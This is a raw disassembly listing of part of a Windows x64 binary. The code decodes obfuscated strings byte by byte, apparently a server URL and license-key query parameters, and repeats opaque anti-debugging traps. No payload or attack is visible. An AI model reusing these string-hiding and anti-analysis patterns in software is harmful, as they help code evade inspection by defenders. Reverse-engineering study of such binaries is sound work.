lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa59], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x2b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa5a], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x2a]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa5b], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x29]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa5c], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x28]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa5d], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x27]
mov dl, 0x3a
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa5e], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x26]
mov dl, 0x2f
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa5f], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x25]
mov dl, 0x2f
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa60], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x24]
mov dl, 0x6c
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa61], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x23]
mov dl, 0x65
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa62], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x22]
mov dl, 0x77
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa63], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x21]
mov dl, 0x69
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa64], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x20]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa65], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x1f]
mov dl, 0x6c
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa66], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x1e]
mov dl, 0x69
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa67], al
mov r9d, Ordinal_45
lea r8d, [r9 - 0x1d]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa68], al
mov r9d, Ordinal_45
mov r8, r13
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa69], al
mov r13d, Ordinal_45
mov r9d, r13d
mov r8, rbx
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa6a], al
mov r9d, r13d
lea r8d, [r13 - 0x1a]
mov dl, 0x6c
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa6b], al
mov r9d, r13d
mov r8, r12
mov dl, 0x69
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa6c], al
mov r9d, r13d
mov r8, rsi
mov dl, 0x66
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa6d], al
mov r9d, r13d
mov r8, rdi
mov dl, 0x65
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa6e], al
mov r9d, r13d
lea r8d, [r13 - 0x16]
mov dl, 0x2f
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa6f], al
mov r9d, r13d
mov r8, r15
mov dl, 0x4c
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa70], al
mov r9d, r13d
lea r8d, [r13 - 0x14]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa71], al
mov r9d, r13d
lea r8d, [r13 - 0x13]
mov dl, 0x61
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa72], al
mov r9d, r13d
lea r8d, [r13 - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa73], al
mov r9d, r13d
lea r8d, [r13 - 0x11]
mov dl, 0x65
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa74], al
mov r9d, r13d
lea r8d, [r13 - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa75], al
mov r9d, r13d
lea r8d, [r13 - 0xf]
mov dl, 0x41
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa76], al
mov r9d, r13d
lea r8d, [r13 - 0xe]
mov dl, 0x75
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa77], al
mov r9d, r13d
lea r8d, [r13 - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa78], al
mov r9d, r13d
mov r8, r14
mov dl, 0x68
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa79], al
mov r9d, r13d
lea r8d, [r13 - 0xb]
mov dl, 0x2f
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa7a], al
mov r9d, r13d
lea r8d, [r13 - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa7b], al
mov r9d, r13d
lea r8d, [r13 - 9]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa7c], al
mov r9d, r13d
lea r8d, [r13 - 8]
mov dl, 0x61
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa7d], al
mov r9d, r13d
lea r8d, [r13 - 7]
mov dl, 0x64
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa7e], al
mov r9d, r13d
lea r8d, [r13 - 6]
mov dl, 0x65
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa7f], al
mov r9d, r13d
lea r8d, [r13 - 5]
mov dl, WSAStartup
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa80], al
mov r9d, r13d
lea r8d, [r13 - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa81], al
mov r9d, r13d
lea r8d, [r13 - 3]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa82], al
mov r9d, r13d
lea r8d, [r13 - 2]
mov dl, 0x68
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa83], al
mov r9d, r13d
lea r8d, [r13 - 1]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + 0xa84], al
xor eax, eax
mov byte [rbp + 0xa85], al
mov r13d, eax
lea ebx, [rax + 1]
mov r9d, Ordinal_45
mov r8, r13
mov dl, byte [rbp + r13 + 0xa59]
lea rcx, [rbp + 0xa58]
call fcn.14002ce94
mov byte [rbp + r13 + 0xa59], al
add r13, rbx
cmp r13, 0x2c
jb 0x14000ec61
xor eax, eax
mov byte [rbp + 0xa85], al
lea rdx, [rbp + 0xa59]
lea rcx, [rbp + 0x1250]
call fcn.14002d72c
mov rax, qword gs:[0x1f]
mov edx, 0xe393fb62
cmp rax, rdx
jne 0x14000ed63
mov rax, qword gs:[0x42]
movabs rcx, 0x18ec4a904d81a114
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000ed43
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000ed43
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000ed63
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdx
jne 0x14000ee12
mov rax, qword gs:[0x42]
mov ecx, 0x4916958b
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000edf2
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000edf2
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000ee12
mov rax, qword [rbp + 0x1028]
mov rdx, qword [rbp + 0x1020]
xor rdx, rax
mov rcx, qword [rbp + 0x1030]
xor ecx, edx
call fcn.140092918
int3
lea rcx, [rbp + 0xe00]
call fcn.14000ba48
lea rcx, [rbp + 0xce0]
mov qword [rsp + 0x20], rcx
mov r9d, 8
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1230]
call fcn.14002d898
lea rcx, [rbp + 0xe00]
call fcn.14002d614
mov rax, qword gs:[0x1f]
mov r8d, 0xe393fb62
cmp rax, r8
jne 0x14000ef13
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x349534e4
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x4efb4758
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x577f633f
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000eef3
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000eef3
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000ef13
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, r8
jne 0x14000efd2
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x349534e4
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x4efb4758
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x577f633f
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000efb2
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000efb2
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000efd2
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov byte [rbp - 0x18], 5
mov r14d, 6
mov r9d, r14d
xor r8d, r8d
mov dl, 0x26
lea rcx, [rbp - 0x18]
call fcn.14002ce18
mov byte [rbp - 0x17], al
mov r9d, r14d
lea r12d, [r14 - 5]
mov r8d, r12d
mov dl, 0x71
lea rcx, [rbp - 0x18]
call fcn.14002ce18
mov byte [rbp - 0x16], al
mov r9d, r14d
lea r8d, [r14 - 4]
mov dl, 0x6b
lea rcx, [rbp - 0x18]
call fcn.14002ce18
mov byte [rbp - 0x15], al
mov r9d, r14d
lea r8d, [r14 - 3]
mov dl, 0x65
lea rcx, [rbp - 0x18]
call fcn.14002ce18
mov byte [rbp - 0x14], al
mov r9d, r14d
lea r8d, [r14 - 2]
mov dl, 0x79
lea rcx, [rbp - 0x18]
call fcn.14002ce18
mov byte [rbp - 0x13], al
mov r9d, r14d
lea r8d, [r14 - 1]
mov dl, 0x3d
lea rcx, [rbp - 0x18]
call fcn.14002ce18
mov byte [rbp - 0x12], al
xor eax, eax
mov byte [rbp - 0x11], al
mov r14d, eax
mov r9d, 6
mov r8, r14
mov dl, byte [rbp + r14 - 0x17]
lea rcx, [rbp - 0x18]
call fcn.14002ce18
mov byte [rbp + r14 - 0x17], al
add r14, r12
cmp r14, 6
jb 0x14000f064
xor r14d, r14d
mov byte [rbp - 0x11], r14b
mov byte [rbp - 8], 0x56
lea r12d, [r14 + 6]
mov r9d, r12d
xor r8d, r8d
mov dl, 0x3f
lea rcx, [rbp - 8]
call fcn.14002ce18
mov byte [rbp - 7], al
mov r9d, r12d
lea ebx, [r14 + 1]
mov r8d, ebx
mov dl, 0x63
lea rcx, [rbp - 8]
call fcn.14002ce18
mov byte [rbp - 6], al
mov r9d, r12d
lea r8d, [r14 + 2]
mov dl, 0x6b
lea rcx, [rbp - 8]
call fcn.14002ce18
mov byte [rbp - 5], al
mov r9d, r12d
lea r8d, [r14 + 3]
mov dl, 0x65
lea rcx, [rbp - 8]
call fcn.14002ce18
mov byte [rbp - 4], al
mov r9d, r12d
lea r8d, [r14 + 4]
mov dl, 0x79
lea rcx, [rbp - 8]
call fcn.14002ce18
mov byte [rbp - 3], al
mov r9d, r12d
lea r8d, [r14 + 5]
mov dl, 0x3d
lea rcx, [rbp - 8]
call fcn.14002ce18
mov byte [rbp - 2], al
xor eax, eax
mov byte [rbp - 1], al
mov r13d, r14d
lea r12d, [r14 + 0x13]
mov r9d, 6
mov r8, r13
mov dl, byte [rbp + r13 - 7]
lea rcx, [rbp - 8]
call fcn.14002ce18
mov byte [rbp + r13 - 7], al
add r13, rbx
cmp r13, 6
jb 0x14000f124
xor eax, eax
mov byte [rbp - 1], al
lea r8, [rbp - 7]
lea rdx, [rbp + 0x1250]
lea rcx, [rbp + 0xe20]
call fcn.14002da4c
lea rdx, [rbp + 0x1230]
mov rcx, rax
call fcn.14002d600
mov rdx, rax
lea rcx, [rbp + 0xd80]
call fcn.14002d6fc
lea rcx, [rbp - 0x17]
or r8, 0xffffffffffffffff
lea ebx, [r8 + 0x12]
xor eax, eax
inc r8
cmp byte [rcx + r8], al
jne 0x14000f191
lea rdx, [rbp - 0x17]
lea rcx, [rbp + 0xd80]
call fcn.14002d454
mov rdx, rax
lea rcx, [rbp + 0xd60]
call fcn.14002d6fc
lea rdx, [0x1400df4b8]
lea rcx, [rbp + 0xd60]
call fcn.14002d600
mov rdx, rax
lea rcx, [rbp + 0x1290]
call fcn.14002d6fc
lea rcx, [rbp + 0xd60]
call fcn.14002d614
lea rcx, [rbp + 0xd80]
call fcn.14002d614
lea rcx, [rbp + 0xe20]
call fcn.14002d614
mov rax, qword gs:[0x1f]
mov r8d, 0xe393fb62
mov edx, 0x4916958b
cmp rax, r8
jne 0x14000f2b4
mov rax, qword gs:[0x42]
xor rax, rdx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rdx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rdx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f294
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f294
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000f2b4
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, r8
jne 0x14000f35e
mov rax, qword gs:[0x42]
xor rax, rdx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rdx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rdx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f33e
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f33e
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000f35e
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
lea rcx, [rbp + 0x1230]
call fcn.14002d444
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.140093840
mov rax, qword gs:[0x1f]
mov r8d, 0xe393fb62
cmp rax, r8
jne 0x14000f43d
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x349534e4
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x4efb4758
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x577f633f
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f41d
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f41d
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000f43d
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, r8
jne 0x14000f4f1
mov rax, qword gs:[0x42]
movabs rcx, 0x18ec4a904d81a114
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f4d1
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f4d1
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000f4f1
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
nop
mov dl, byte [rbp + 0xce0]
lea rcx, [rbp + 0x1120]
call fcn.14002dc48
lea rcx, [rbp + 0x1120]
call fcn.14002d884
nop
mov rax, qword gs:[0x1f]
mov edx, 0xe393fb62
cmp rax, rdx
jne 0x14000f5c4
mov rax, qword gs:[0x42]
mov ecx, 0x4916958b
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f5a4
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f5a4
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000f5c4
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdx
jne 0x14000f683
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x349534e4
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x4efb4758
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x577f633f
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f663
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f663
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000f683
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
lea rcx, [rbp + 0x1290]
call fcn.14002d444
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0x1120]
mov rcx, rax
call fcn.14000b5fc
mov rax, qword gs:[0x1f]
mov ecx, 0xe393fb62
cmp rax, rcx
jne 0x14000f760
mov rax, qword gs:[0x42]
movabs rcx, 0x18ec4a904d81a114
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f740
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f740
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000f760
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov byte [rbp + 0x240], 0x5f
mov r14d, recvfrom
mov r9d, r14d
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x241], al
mov r9d, r14d
lea r13d, [r14 - 0xb]
mov r8d, r13d
mov dl, Ordinal_79
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x242], al
mov r9d, r14d
lea r8d, [r14 - 0xa]
mov dl, 0x56
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x243], al
mov r9d, r14d
lea r8d, [r14 - 9]
mov dl, 0x41
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x244], al
mov r9d, r14d
lea r8d, [r14 - 8]
mov dl, 0x4c
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x245], al
mov r9d, r14d
lea r8d, [r14 - 7]
mov dl, 0x49
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x246], al
mov r9d, r14d
lea r8d, [r14 - 6]
mov dl, 0x44
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x247], al
mov r9d, r14d
lea r8d, [r14 - 5]
mov dl, 0x5f
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x248], al
mov r9d, r14d
lea r8d, [r14 - 4]
mov dl, 0x51
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x249], al
mov r9d, r14d
lea r8d, [r14 - 3]
mov dl, 0x4b
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x24a], al
mov r9d, r14d
lea r8d, [r14 - 2]
mov dl, 0x45
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x24b], al
mov r9d, r14d
lea r8d, [r14 - 1]
mov dl, 0x59
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + 0x24c], al
xor eax, eax
mov byte [rbp + 0x24d], al
mov r14d, eax
mov r9d, recvfrom
mov r8, r14
mov dl, byte [rbp + r14 + 0x241]
lea rcx, [rbp + 0x240]
call fcn.14002cd9c
mov byte [rbp + r14 + 0x241], al
add r14, r13
cmp r14, 0xc
jb 0x14000f8be
xor r14d, r14d
mov byte [rbp + 0x24d], r14b
lea rdx, [rbp + 0x241]
lea rcx, [rbp + 0x1120]
call fcn.14002e1ac
test al, al
mov r14d, reloc.WLDAP32.dll_Ordinal_32
lea r13d, [r14 - 0x10]
je 0x14001138a
mov rax, qword gs:[0x1f]
mov ecx, 0xe393fb62
cmp rax, rcx
jne 0x14000f9cf
mov rax, qword gs:[0x42]
mov ecx, 0x4916958b
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f9af
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f9af
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000f9cf
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov byte [rbp + 0x720], Ordinal_41
mov r9d, reloc.WLDAP32.dll_Ordinal_22
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x721], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0x15]
mov dl, 0x75
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x722], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x723], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0x13]
mov dl, 0x64
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x724], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x725], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x726], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x727], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x728], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0xe]
mov dl, r14b
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x729], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0xd]
mov dl, 0x42
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x72a], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0xc]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x72b], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0xb]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x72c], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x72d], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 9]
mov dl, r14b
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x72e], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 8]
mov dl, 0x53
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x72f], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x730], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x731], al
